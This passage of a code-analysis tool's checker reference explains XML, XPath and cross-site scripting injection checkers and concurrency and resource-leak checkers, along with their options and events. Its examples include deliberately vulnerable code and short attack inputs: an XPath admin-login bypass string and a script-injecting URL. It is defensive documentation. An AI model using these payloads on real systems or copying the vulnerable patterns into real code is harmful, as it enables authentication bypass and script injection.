String msg =
"<transaction>" +
"<user>" + user + "</user>" +
"<ship_to>" + req.getParameter("ship_to") + "</ship_to>";
for(String i : items) {
msg += "<item>" + i + "</item>";
}
msg += "</transaction>";
// Parse XML string
return DocumentBuilderFactory
.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader(msg)));
}This is a security vulnerability because the user has the ability to escape the
context of the ship_to element and specify additional item
elements. An example attack might be:
> My adddress </ship_to> <item>Laptop computer</item> <ship_to> My address
Supported Languages: C#, Java, Swift
XPATH_INJECTION finds XML Path Language (XPath) injection vulnerabilities, which arise when uncontrolled dynamic data is used as part of an XPath query. An attacker can manipulate the intent of the query, bypassing authorization checks or disclosing sensitive information.
Enablement for C# and Java
Disabled by default: XPATH_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable XPATH_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
Enablement for Swift
Enabled by default: XPATH_INJECTION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more XPATH_INJECTION examples.
public class MyController : Controller {
void test1() {
String xml = "<root a='value'/>";
XPathDocument document = new XPathDocument(xml);
XPathNavigator navigator = document.CreateNavigator();
String req = Request["tainted"]; //Tainted source here
XPathNodeIterator nodes = navigator.Select(req); //Defect here
}
}In the following scenario, an XPath query is injected with the user-supplied
(tainted) data username and password. The Java javax.xml.xpath API is
used, which has a sink through the javax.xml.xpath.XPath.evaluate
method. The injected data is passed into the sink through the first parameter,
expression.
XPathFactory factory = XPathFactory.newInstance(); XPath xPath = factory.newXPath(); String expression = "/employees/employee[@loginID='" + username + "' and @passwd='" + password + "']"; nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
If the username of the attacker is admin and password is ' or
@loginID='admin, the full XPath query now is
/employees/employee[@loginID='admin' and @passwd='' or
@loginID='admin']. If this query is used to authenticate users, an
attacker can authenticate as the admin user.
The following example illustrates a possible defect in Swift.
import UIKit
import Foundation
import KissXML
func processDocumentNode(node : CXMLNode, store: NSUbiquitousKeyValueStore) {
let xpath: String = store.string(forKey: "xpath")!
do {
var t = try node.forXPath(xpath) // Defect here
} catch {
print("Error")
}
}This section describes one or more XPATH_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
XPATH_INJECTION:distrust_all:<boolean> - [Swift only]
Setting this option to true is equivalent to setting all trust_*
checker options for this checker to false. Defaults
to XPATH_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
XPATH_INJECTION:webapp-security-aggressiveness-level option
of the cov-analyze command is set to
high.
XPATH_INJECTION:trust_command_line:<boolean> - [Swift
only] Setting this option to false causes the
analysis to treat command line arguments as tainted. Defaults to
XPATH_INJECTION:trust_command_line:true.
Setting this checker option will override the global
--trust-command-line and --distrust-command-line
command line options.
XPATH_INJECTION:trust_console:<boolean> - [Swift only]
Setting this option to false causes the
analysis to treat data from the console as tainted. Defaults to
XPATH_INJECTION:trust_console:true. Setting
this checker option will override the global --trust-console and
--distrust-console command line options.
XPATH_INJECTION:trust_cookie:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from HTTP cookies
as tainted. Defaults to
XPATH_INJECTION:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
XPATH_INJECTION:trust_database:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from a database
as tainted. Defaults to
XPATH_INJECTION:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
XPATH_INJECTION:trust_environment:<boolean> - [Swift
only] Setting this option to false causes the analysis to treat data from
environment variables as tainted. Defaults to
XPATH_INJECTION:trust_environment:true. Setting
this checker option will override the global --trust-environment
and --distrust-environment command line options.
XPATH_INJECTION:trust_filesystem:<boolean> - [Swift
only] Setting this option to false causes the analysis to treat data from the
filesystem as tainted. Defaults to
XPATH_INJECTION:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
XPATH_INJECTION:trust_http:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from HTTP
requests as tainted. Defaults to
XPATH_INJECTION:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
XPATH_INJECTION:trust_http_header:<boolean> - [Swift
only] Setting this option to false causes the analysis to treat data from HTTP
headers as tainted. Defaults to
XPATH_INJECTION:trust_http_header:true. Setting
this checker option will override the global --trust-http-header
and --distrust-http-header command line options.
XPATH_INJECTION:trust_network:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from the network
as tainted. Defaults to
XPATH_INJECTION:trust_network:false. Setting
this checker option will override the global --trust-network and
--distrust-network command line options.
XPATH_INJECTION:trust_rpc:<boolean> - [Swift only]
Setting this option to false causes the analysis to treat data from RPC requests
as tainted. Defaults to
XPATH_INJECTION:trust_rpc:true. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
XPATH_INJECTION:trust_system_properties:<boolean> -
[Swift only] Setting this option to false causes the analysis to treat data from
system properties as tainted. Defaults to
XPATH_INJECTION:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
This section describes one or more events produced by the XPATH_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C#, Java, JavaScript, PHP, Python, and Visual Basic
XSS reports a defect on code that is vulnerable to a cross-site scripting attack. Such code constructs HTML output using tainted strings (that is, strings that an attacker can control) without adequately sanitizing (filtering or escaping) them. Allowing such tainted data into HTML output creates a security breach through which one user (the attacker) of the Web application can inject arbitrary JavaScript that another user (the victim) executes from a browser.
Note that the XSS analysis treats all ${param.x} variables in JSP files
as tainted. Prior to version 7.0.3.s2, the
analysis suppressed reporting on parameters that were set in a JSP dynamic include
(<jsp:include> / <jsp:param> structure), but this
approach caused the checker to miss some real defects. To restore this behavior, use
the --allow-jsp-include-param-blacklist analysis
option.
For more information on the risks and consequences of cross site scripting, see Chapter 7, Security Reference. For detailed information about the potential security vulnerabilities found by this checker, see Section 7.1.4.2, “Cross-site Scripting (XSS)”.
Disabled by default: XSS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable XSS
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable XSS
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
An XSS defect shows a dataflow path by which untrusted (tainted) data can be used to inject JavaScript code. The path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. In the absence of proper validations, the data might contain JavaScript code from an attacker that is used in a function that uses the data as HTML output that will be rendered on a user's browser.
This section provides one or more XSS examples.
For C#, Java, and Visual Basic examples, see Section 7.1.4.2, “Cross-site Scripting (XSS)” and Section 7.6.2, “XSS remediation examples”.
The following code example shows a vulnerable Node.js Web application using the Express framework.
var express = require('express');
var app = express();
app.get('/', function(req, res, next) {
const name = req.query.n;
res.send("<!DOCTYPE html> <html><head><title>Say Hello</title></head>" +
"<body>Hello, " +
name +
"</body></html>");
});
app.listen(3000, function() {
console.log("Listening...");
});Example exploit:
http://127.0.0.1:3000/?n=%3Cscript%3Ealert%281%29%3C/script%3E;
The following PHP code uses strings from the request URL to create HTML and is therefore vulnerable to an XSS attack.
$name = $_GET['name']; echo "<p>hello, $name</p>";
The following Python code (which uses Flask) uses strings from the request URL to create HTML and is thus vulnerable to a reflected XSS attack.
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/findfile/<path:filename>')
def findfile(filename):
return make_response('<html>File is ' + filename + '</html>')This section describes one or more XSS options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
XSS:distrust_all:<boolean> - [JavaScript,
PHP, and Python only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
XSS:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
XSS:trust_mobile_other_app:<boolean> - [Java
only] Setting this option to true causes the
analysis to trust data that is received from any mobile application that does
not require a permission to communicate with the current application component.
Defaults to
XSS:trust_mobile_other_app:false.
Setting this checker option will override the global
--trust-mobile-other-app and
--distrust-mobile-other-app command line options.
XSS:trust_mobile_same_app:<boolean> - [Java
only] Setting this option to false causes the
analysis to treat data received from the same mobile application as though it is
tainted. Defaults to
XSS:trust_mobile_same_app:true.
Setting this checker option will override the global
--trust-mobile-same-app and
--distrust-mobile-same-app command line options.
XSS:trust_mobile_user_input:<boolean> -
[Java only] Setting this option to true causes
the analysis to treat data obtained from user input as though it is not tainted.
Defaults to
XSS:trust_mobile_user_input:false.
Setting this checker option will override the global
--trust-mobile-user-input and
--distrust-mobile-user-input command line options.
XSS:trust_mobile_other_privileged_app:<boolean>
- [Java only] Setting this option to false
causes the analysis to treat data as tainted when the data is received from any
mobile application that requires a permission to communicate with the current
application component. Defaults to
XSS:trust_mobile_other_privileged_app:true.
Setting this checker option will override the global
--trust-mobile-other-privileged-app and
--distrust-mobile-other-privileged-app command line
options.
XSS:trust_command_line:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat command line arguments as tainted. Defaults to
XSS:trust_command_line:true.
Setting this checker option will override the global
--trust-command-line and
--distrust-command-line command line options.
XSS:trust_console:<boolean> - [All languages]
Setting this Web application security option to false
causes the analysis to treat data from the console as tainted. Defaults to
XSS:trust_console:true. Setting
this checker option will override the global --trust-console
and --distrust-console command line options.
XSS:trust_cookie:<boolean> - [All languages]
Setting this Web application security option to false
causes the analysis to treat data from HTTP cookies as tainted. Defaults to
XSS:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
XSS:trust_database:<boolean> - [All
languages] Setting this Web application security option to
false causes the analysis to treat data from a database as tainted. Defaults to
XSS:trust_database:true. Setting
this checker option will override the global --trust-database
and --distrust-database command line options.
XSS:trust_environment:<boolean> - [All
languages] Setting this Web application security option to
false causes the analysis to treat data from environment variables as tainted.
Defaults to
XSS:trust_environment:true. Setting
this checker option will override the global
--trust-environment and
--distrust-environment command line options.
XSS:trust_filesystem:<boolean> - [All
languages] Setting this Web application security option to
false causes the analysis to treat data from the filesystem as tainted. Defaults to
XSS:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem
and --distrust-filesystem command line options.
XSS:trust_http:<boolean> - [All languages]
Setting this Web application security option to false
causes the analysis to treat data from HTTP requests as tainted. Defaults to
XSS:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
XSS:trust_http_header:<boolean> - [All
languages] Setting this Web application security option to
false causes the analysis to treat data from HTTP headers as tainted. Defaults to
XSS:trust_http_header:true. Setting
this checker option will override the global
--trust-http-header and
--distrust-http-header command line options in the
Coverity 2018.09 Command Reference.
XSS:trust_network:<boolean> - [All
languages] Setting this Web application security option to
false causes the analysis to treat data from the network as tainted. Defaults to
XSS:trust_network:false. Setting
this checker option will override the global --trust-network
and --distrust-network command line options.
XSS:trust_rpc:<boolean> - [All languages]
Setting this Web application security option to false
causes the analysis to treat data from RPC requests as tainted. Defaults to
XSS:trust_rpc:true. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
XSS:trust_system_properties:<boolean> - [All
languages] Setting this Web application security option to
false causes the analysis to treat data from system properties as tainted.
Defaults to
XSS:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
See the
corresponding command line options
to cov-analyze in the Coverity 2018.09 Command Reference.
Models and annotations can improve analyses with this checker in the following cases:
If the analysis misses defects because it does not treat certain data as tainted, see discussion of the Tainted annotation (refer to Section 6.2.2.1, “Tainted and NotTainted Attributes” for C# and Visual Basic, or @Tainted and @NotTainted Annotations for Java).
Also, for instructions on marking method return values, parameters, and fields as tainted, see Section 6.2.1.2, “Modeling Sources of Untrusted (Tainted) Data” for C# and Visual Basic, or Section 6.3.1.3, “Modeling Sources of Untrusted (Tainted) Data” for Java.
If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, refer to [NotTainted] / <NotTainted()> Attributes for C# and Visual Basic, or @NotTainted for Java.
See also Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”. For further information on models and annotations in general, refer to Section 6.2, “Models and Annotations in C# or Visual Basic” or Section 6.3, “Models and Annotations in Java”.
In the UI, XSS reports (CIDs) on C#, Java, and Visual Basic defects use symbolic names for HTML contexts and escaper kinds, for example:
At (2): Passing the tainted data through Escapers.escapeAttrdq(java.lang.String), which was recognized as an escaper of kind HTML_ENTITY. At (3): Passing the tainted data through Escapers.escapeJssq(java.lang.String), which was recognized as an escaper of kind JS_STRING. CID 18484: Other violation (XSS) At (4): Printing "Escapers.escapeJssq(Escapers.escapeAttrdq(tainted))" to an HTML page allows cross-site scripting, because it was not properly sanitized for the nested contexts HTML_ATTR_VAL_DQ, JS_STRING_SQ.
Table 4.3, “HTML Contexts” defines the symbolic names of HTML contexts that can appear in a defect report. For examples of these HTML contexts and a discussion of how to properly escape each one, see Section 7.4, “XSS Contexts”.
Table 4.3. HTML Contexts
| HTML Context | Description |
|---|---|
| HTML_ATTR_NAME | HTML attribute name |
| HTML_ATTR_VAL_DQ | HTML double quoted attribute |
| HTML_ATTR_VAL_SQ | HTML single quoted attribute |
| HTML_ATTR_VAL_UNQ | HTML not quoted attribute |
| HTML_CDATA | HTML CDATA block |
| HTML_COMMENT | HTML comment |
| HTML_PCDATA | HTML PCDATA block |
| HTML_PLAINTEXT | HTML plain text block |
| HTML_RAWTEXT | HTML raw text block |
| HTML_RCDATA | HTML RCDATA block |
| HTML_SCRIPT_DATA | HTML script block |
| JS | JavaScript code |
| JS_BLOCK_COMMENT | JavaScript multi line comment |
| JS_LINE_COMMENT | JavaScript single line comment |
| JS_REGEX_LITERAL | JavaScript regular expression |
| JS_STRING_DQ | JavaScript double quoted string |
| JS_STRING_SQ | JavaScript single quoted string |
| CSS | Cascading Style Sheets |
| CSS_COMMENT | CSS comment |
| CSS_STRING_DQ | CSS double quoted string |
| CSS_STRING_SQ | CSS single quoted string |
| CSS_URI_DQ | CSS double quoted URI |
| CSS_URI_SQ | CSS single quoted URI |
| CSS_URI_UNQ | CSS not quoted URI |
| HTML_TAG_NAME | HTML tag name |
Table 4.4, “Escaper Kinds” defines the symbolic names escaper kinds and identifies the contexts to which they apply.
Table 4.4. Escaper Kinds
| Escaper Kind | Description | Applies To |
|---|---|---|
| HTML_ENTITY | Ampersand-based escaping using HTML entities. | HTML_PCDATA, HTML_RCDATA, HTML_ATTR_VAL_* |
| JS_STRING | Backslash-based escaping for JavaScript strings. | JS_STRING_* |
| CSS | Backslash-based escaping for CSS. | CSS_STRING_*, CSS_URI_* |
| URI_PERCENT | Percent sign-based escaping for Uniform Resource Identifiers. | The portion of URIs and URLs before the question mark
(?). |
| URI_QUERY | Like URI_PERCENT, except spaces are encoded with plus signs
(+). | The portion of URIs and URLs after the question mark
(?). |
Dynamic Analysis checkers support runtime analyses of Java code. To use these checkers, see
Dynamic Analysis 2018.09 Administration Tutorial
.
Dynamic Analysis reports a DEADLOCK when two
Java threads wait for each other to release a lock or more than two Java threads wait
for locks in a circular chain. Deadlock is a common problem in multithreaded
applications.
The following table identifies the impact of issues found by this checker according to their type, category, and, if available, CWE (Common Weakness Enumeration) identifier. These properties correspond to checker information that appears in Coverity Connect. Note that the table might also identify checker subcategories that are associated with an issue type and checker category.
Table 5.1. Issue Impact: DEADLOCK
| Issue Type | Checker Category | Impact | Language | CWE |
|---|---|---|---|---|
| Thread deadlock | Program hangs | Medium | Java | 833 |
For more information about DEADLOCK, see ???.
You might expect the following example to call doWork() 200 times while
holding locks A and B (100 times from AB.run()
and 100 times from BA.run()). Often, those 200 calls are all that happens.
However, the AB thread and the BA thread can deadlock. They
can acquire and wait for locks such that neither can progress.
Consider what happens if AB acquires lock A, and before it
can acquire lock B, BA acquires it. Now thread AB
holds A and waits on lock B, but thread BA holds
lock B and waits on lock A. Neither thread can progress. As
Dynamic Analysis watches this program run, it notices the potential for these threads to hold locks
while waiting for other locks in such a way that deadlock is possible. Thus, Dynamic Analysis
reports a DEADLOCK on this code.
/*
* DEADLOCK defect:
* Two threads acquire two locks in different orders.
*/
public class DeadlockExample {
// Dummy methods used in the Runnable classes.
public static void doWork() {
// Do something.
}
public static void sleep() {
// Go to sleep.
}
static Object A = new Object();
static Object B = new Object();
static class AB implements Runnable {
public void run() {
for (int i = 0; i < 100; ++i) {
// Acquiring lock 0x1d03a4e, an
// instance of "java.lang.Object".
synchronized (A) {
// Acquiring lock 0xd5cabc, an
// instance of "java.lang.Object",
// while holding lock 0x1d03a4e, an
// instance of "java.lang.Object".
synchronized (B) {
doWork();
}
}
sleep();
}
}
}
static class BA implements Runnable {
public void run() {
for (int i = 0; i < 100; ++i) {
// Acquiring lock 0xd5cabc, an
// instance of "java.lang.Object".
synchronized (B) {
// Acquiring lock 0x1d03a4e, an
// instance of "java.lang.Object",
// while holding lock 0xd5cabc, an
// instance of "java.lang.Object".
synchronized (A) {
doWork();
}
}
sleep();
}
}
}
// Dummy method used by simpleDeadlock()
public static void runThreadsToCompletion (Thread ... ts) {
// For an implementation, see
// runThreadsToCompletion(Thread ... ts)
// in <install-dir-cic>/dynamic-analysis/demo/src/simple/Example.java
}
public static void simpleDeadlock() {
System.out.println("*** DEADLOCK example (this example may"
+ " actually deadlock and need to be forcibly terminated)");
runThreadsToCompletion(
new Thread(new AB(), "AB")
, new Thread(new BA(), "BA"));
}
}Options for DEADLOCK are set as Dynamic Analysis agent options or Ant properties. See the Dynamic Analysis 2018.09 Administration Tutorial or Coverity 2018.09 Command Reference for the most comprehensive option list and details.
DEADLOCK:detect-deadlocks:<boolean> - Option that
detects deadlocks. Defaults to true.
The Dynamic Analysis DEADLOCK checker generates lock and
nested_lock events. In these events, Coverity Connect identifies locks by their
identity hash code (0xd5cabc) and their class. Each event also comes with a stack trace
that shows how it happened. A deadlock defect consists of at least two Lock
events and two Nested_lock events. Dynamic Analysis only reports a
DEADLOCK if each nested lock event happens in a different
thread.
This section describes one or more events produced by the DEADLOCK checker.
lock - A thread acquires a lock. In the preceding example,
this is shown as the program acquires lock 0xd5cabc.
Nested_lock - A thread acquires one lock event while it
already holds another lock. In the preceding example, this is shown as the
program acquires lock 0x1d03a4e.
The sample generates a Coverity Connect report that shows the nested_lock
events in a lock acquisition order that may lead to deadlock. Thread AB holds A and
waits for B, while thread BA holds B and waits for A.
Dynamic Analysis reports a RACE_CONDITION issue when two or more threads both access a field, array, or collection without acquiring a lock to guard those accesses.
The following table identifies the impact of issues found by this checker according to their type, category, and, if available, CWE (Common Weakness Enumeration) identifier. These properties correspond to checker information that appears in Coverity Connect. Note that the table might also identify checker subcategories that are associated with an issue type and checker category.
Table 5.2. Issue Impact: RACE_CONDITION
| Issue Type | Checker Category | Impact | Language | CWE |
|---|---|---|---|---|
| Data race condition | Concurrent data access violations | Medium | Java | 366 |
For more information about RACE_CONDITION, see ???.
Consider the code below. You might expect it to print race=0 after each
iteration of the for loop in simpleRaceCondition(). Each
iteration of the for loop in simpleRaceCondition() starts two
concurrent threads. One thread runs Upper.run() and the other runs
Downer.run(). The Upper thread increments
race 100,000 times and the Downer thread decrements
race 100,000 times, which makes race==0. However, if you
run this code, you see many different outputs for race. The output depends on the
details of how the Upper and Downer threads are scheduled. The
following thread schedule presents problems:
Upper reads race==0.
Downer reads race==0.
Upper computes race+1==1 and stores 1
back into race.
Downer computes race-1==-1 and stores it back into
race.
Now race==-1.
Many other variations are possible.
Dynamic Analysis notices this race condition in the output. When Dynamic Analysis watches the following
program run, it notices that the field race is accessed by two different threads that do
not hold a lock that could guard race and prohibit problematic thread schedules. Thus
Dynamic Analysis reports a potential RACE_CONDITION defect in this code.
Notice that Dynamic Analysis reports field_read and
field_write events where threads upper_0 and
downer_0 access race.
/*
* RACE_CONDITION defect:
* Two threads access a field without acquiring a lock.
*/
static class Race {
static int race = 0;
static class Upper implements Runnable {
public void run() {
for (int i=0; i<100000; ++i) {
/* Thread "upper_0" writes field "race" of class "simple.Example$Race" while holding no locks. */
/* Thread "upper_0" reads field "race" of class "simple.Example$Race" while holding no locks. */
++race;
Thread.yield();
}
}
}
static class Downer implements Runnable {
public void run() {
for (int i=0; i<100000; ++i) {
/* Thread "downer_0" reads field "race" of class "simple.Example$Race" while holding no locks. */
--race;
Thread.yield();
}
}
}
public static void simpleRaceCondition() {
System.out.println("*** RACE_CONDITION example");
for (int i=0; i<10; ++i) {
race = 0;
runThreadsToCompletion(
new Thread(new Upper(), "upper_" + i)
, new Thread(new Downer(), "downer_" + i)
);
System.out.println(" race=" + race);
}
}
}Options for RACE_CONDITION are set as Dynamic Analysis agent options or Ant properties. See the Coverity 2018.09 Command Reference or Dynamic Analysis 2018.09 Administration Tutorial for option details.
RACE_CONDITION:detect-races:<boolean> - Option that
detects race conditions. Defaults to true.
RACE_CONDITION:instrument-arrays:<boolean> - Option
that watches reads and writes into arrays to report race conditions. Defaults to
false.
RACE_CONDITION:instrument-collections:<boolean> -
Option that detects race conditions associated with collections. For example,
finds a race condition on a map where thread one is map.get("key")
and thread two is a map.put("key", "value"). Defaults to
true.
RACE_CONDITION:collections-file:<filename> - Option
that contains a list of collection operations that the
RACE_CONDITION detector uses to detect races in collections. This
option implies setting the instrument-collections option to
true. No default.
This section describes one or more events produced by the RACE_CONDITION checker.
field_read - Thread read from the field. See
upper_0 and downer_0 in the example above.
field_write - Thread wrote to the field. See thread
upper_0 in the example above.
These events come with a stack trace and they identify the thread on which the event
occurred. (Threads can be named in one of the constructors of
java.lang.Thread but there is no guarantee that these names
are unique.) The events point out which locks are held at different access sites. In
this example, the locking is insufficient to guarantee that these threads do not race.
Dynamic Analysis reports a RESOURCE_LEAK when
it observes a potential leak in a resource like a socket or a
FileOutputStream; that is, the resource is opened, but not explicitly
closed.
File descriptor or socket leaks can lead to crashes, denial of service, and the inability to open more files or sockets. The operating system limits how many file descriptors and sockets a process can own. After the limit is reached, the process must close some of the resources' open handles before allocating more.
The garbage collector may close these resources and return file descriptors and sockets to the operating system eventually, that is, when and if they go out of scope and their storage is reclaimed. Until it does however, attempts to use more of these resources will fail.
![]() | |
The |
The following table identifies the impact of issues found by this checker according to their type, category, and, if available, CWE (Common Weakness Enumeration) identifier. These properties correspond to checker information that appears in Coverity Connect. Note that the table might also identify checker subcategories that are associated with an issue type and checker category.
Table 5.3. Issue Impact: RESOURCE_LEAK
| Issue Type | Checker Category | Impact | Language | CWE |
|---|---|---|---|---|
| Resource leak | Resource leaks | High | Java | 404 |
For more information about RESOURCE_LEAK, see ???.
Dynamic Analysis reports RESOURCE_LEAK defects at the location in the code
where the resource is opened. In the example below, Dynamic Analysis observes that the
FileOutputStream is opened, but not closed and so reports this defect.
The file handle (or file descriptor) associated with the FileOutputStream
in this example remains open until leaked goes out of scope and the garbage collector
gets around to reclaiming its storage.
/*
* RESOURCE_LEAK defect:
* File is opened for output and later not closed.
*/
static PrintStream leaked;
public static void simpleResourceLeak() {
System.out.println("*** RESOURCE_LEAK example");
File f = null;
try {
f = File.createTempFile("da-example", null);
/* Allocating resource of type "java.io.PrintStream". */
leaked = new PrintStream(new FileOutputStream(f), true, "UTF-8");
leaked.println("some stuff");
/* The file did not close. A resource was leaked before it
* went out of scope. */
leaked = null;
} catch (Throwable e) {
System.err.println("Problem with RESOURCE_LEAK example: " + e);
}
quietlyDelete(f);
}Options for RESOURCE_LEAK checker are set as Dynamic Analysis agent options or Ant properties. See the Coverity 2018.09 Command Reference for option details.
RESOURCE_LEAK:detect-resource-leaks:<boolean> - Option
that makes the checker detect resource leaks. Default is
true.
RESOURCE_LEAK:use-resource-models - Option that provides the
RESOURCE_LEAK detector a file containing list of additional resource management
methods. Specifying OPEN and
CLOSE methods for a class tells the RESOURCE_LEAK
detector to report a RESOURCE_LEAK when an instance of that class has an
OPEN method called without a subsequent
CLOSE method being called. The
jdkResourceList.txt file in
<CIC_install_dir>/dynamic-analysis/dynamic-analysis.jar" contains many
examples. No default for this option.
This checker's events include stack traces.
This section describes one or more events produced by the RESOURCE_LEAK checker.
resource_allocation - A resource is opened. See resource of
type java.io.PrintStream opened in the preceding example.
resource_stored - An open resource is stored into a field.
For example, "Storing allocated resource of type
"java.io.FileInputStream" to a field."
You can modify checker behavior in a number of ways:
Options:
Some cov-analyze options affect the behavior of multiple
checkers (see
Coverity 2018.09 Command Reference
).
Many checkers have options that you can enable with
--checker-option (or -co).
Models:
Models are a summary of important aspects of function properties. Coverity Analysis
analyzes each function and generates a model of its behavior for interprocedural
analysis purposes. These models are created with the cov-analyze
command and stored in the intermediate directory.
It is also possible to write models by hand to override these and better describe the behavior of a function. Such models can be useful both for finding more bugs and eliminating false positives.
Annotations: You can affect checker behavior by annotating your code with Coverity directives and attributes.
Web application security Configuration File:
File containing user directives that you can use to modify the behavior of Web application security checkers (see Section E.1, “Security Configuration File Reference”).
See the sections that follow for more information about models and annotations.
The analysis engine derives models for each function analyzed that summarize the effects of the function for use in interprocedural defect checking. Sometimes not all of the source code for all called functions can be analyzed. For example, library functions are typically linked in without access to the source code. The standard C library, the UNIX system-call API, and the Windows API are examples of interfaces that many programs link against without access to the source code.
When the analysis runs, models for each function are generated and stored in the intermediate directory.
In most cases, the models generated by the analysis engine accurately reflect a system's behavior and the checkers work well without any user intervention. However, there are some cases where you might want to improve a checker's performance by providing more information about interfaces and functions. One example is when interfaces that are perhaps critical to the system's behavior are linked in from code that is not compiled and analyzed. In that case, you must specify the behavior of those interfaces. Another example is when false positives occur because of incorrect derivations.
Adding models to the Coverity Analysis system has two benefits: finding more bugs, and eliminating
false positives. For example, if a new memory-allocation interface that is linked
against your application from a third-party API is modeled in the system, Coverity Analysis can
detect and report defects in the uses of that allocator. As another example, if your
application uses an abort-like function that relies on an assembler
routine to exit the application, the system might be incapable of determining that calls
to this function cannot return. In this case, false positives occur because of the
imperfect understanding of the code.
Sometimes the Coverity Analysis models diverge from the actual behavior of the function because of the complexity of the modeled function. Although improvements to the analysis framework continue to decrease the need for overriding the automatically computed models, there is a limit to the precision of compile-time analysis. Thus, for some cases you can improve the analysis accuracy by classifying the behavior of a given function.
![]() | |
Later versions of Coverity will not be able to run models you have created with
previous versions. For this reason, you must preserve the
source files for the models you write yourself and you must store the files in your
source repository. When you upgrade Coverity, you will need to run the command
|
The following examples show how to add configurations to find new defects and
remove false positives. Suppose that you want to add a new memory deallocator to the
Coverity Analysis configuration that is similar to the standard C library function
free. In Coverity Analysis terminology, adding a new function to the
configuration is called adding a model.
To add a new C model:
In the directory, create a
new file called <install_dir_sa>/librarymy_free.c.
In this file, create a stub C function that uses the standard C library
function free to emulate the behavior of the new
deallocation function:
void free(void*);
void my_free(void* x) {
free(x);
}Convert this model from its C code form into the XML form that the
analysis engine understands with the cov-make-library
command:
> cov-make-library my_free.c
The cov-make-library command creates a file called
user_models.xmldb in the
directory. This file contains the
XML form of the model, which indicates that <install_dir_sa>/configmy_free will
deallocate its only argument. You can change the directories for temporary storage
and for the generated configuration file when you run the
cov-make-library command. If you change these directories,
you must also specify the location of these files when you run the analysis so that
the analysis engine can find the new configuration files.
To add a new C++ model:
In the directory, create a
new file called <install_dir_sa>/libraryMyClass.cpp.
In the MyClass.cpp file, create a member function
myAllocatorMethod:
class MyClass {
public:
void *myAllocatorMethod(size_t size) {
return __coverity_alloc__(size);
}
};It is possible to create a function model for certain member functions; you do not have to create a model that includes all member functions. Member functions without explicit models will produce derived models if the source code is available.
Convert this model from its C++ code form into the XML form that the
analysis engine understands with the cov-make-library
command:
> cov-make-library MyClass.cpp
![]() | Recommendation |
|---|---|
Put the generated models in the same location as the file
|
Consider a more complex case where the C library function
free is overridden in the system such that it uses a
special allocation scheme and the semantics of free are
changed. You decide that you no longer want a call to free to
actually cause a deallocation. Instead, you want the function
free to have no influence on the analysis. To do so, update
the my_free.c file:
void my_free(void* x) {
__coverity_free__(x);
}
void free(void* x) {
// Do nothing.
}We have made two alterations to the file. First, we implemented a function called
free that does nothing. User models always override any
configuration shipped by Coverity and any models that are automatically generated by
the interprocedural analysis. Thus, adding this function suppresses the default
behavior of free and all associated use-after-free
defects.
Also, the definition of my_free has changed. Originally, the
implementation depended on the implementation of free. Because
we are going to remove that behavior for free, we must use the
primitive function __coverity_free__ in our implementation of
my_free. The primitive functions implement a single state
transition or action within the analysis and are, thus, independent of any other
models. The list of primitive functions represents the scope of behaviors that an
analysis can understand. This particular primitive indicates that the first
argument, x, cannot be dereferenced after this function
call.
The models for these functions are generated using the same call to
cov-make-library described previously.
When you make a call to a virtual or pure virtual function that you have modeled,
the analysis will always use that model. As a consequence, you do not need to set
the --enable-virtual option to cov-analyze for
this purpose. In the following example, you can see how a->color()
makes the analysis resolve to the model.
/* Abstract base class Fruit */
class Fruit {
virtual int color() = 0;
};
/* Derived class Lemon */
class Lemon: public Fruit {
int color();
};
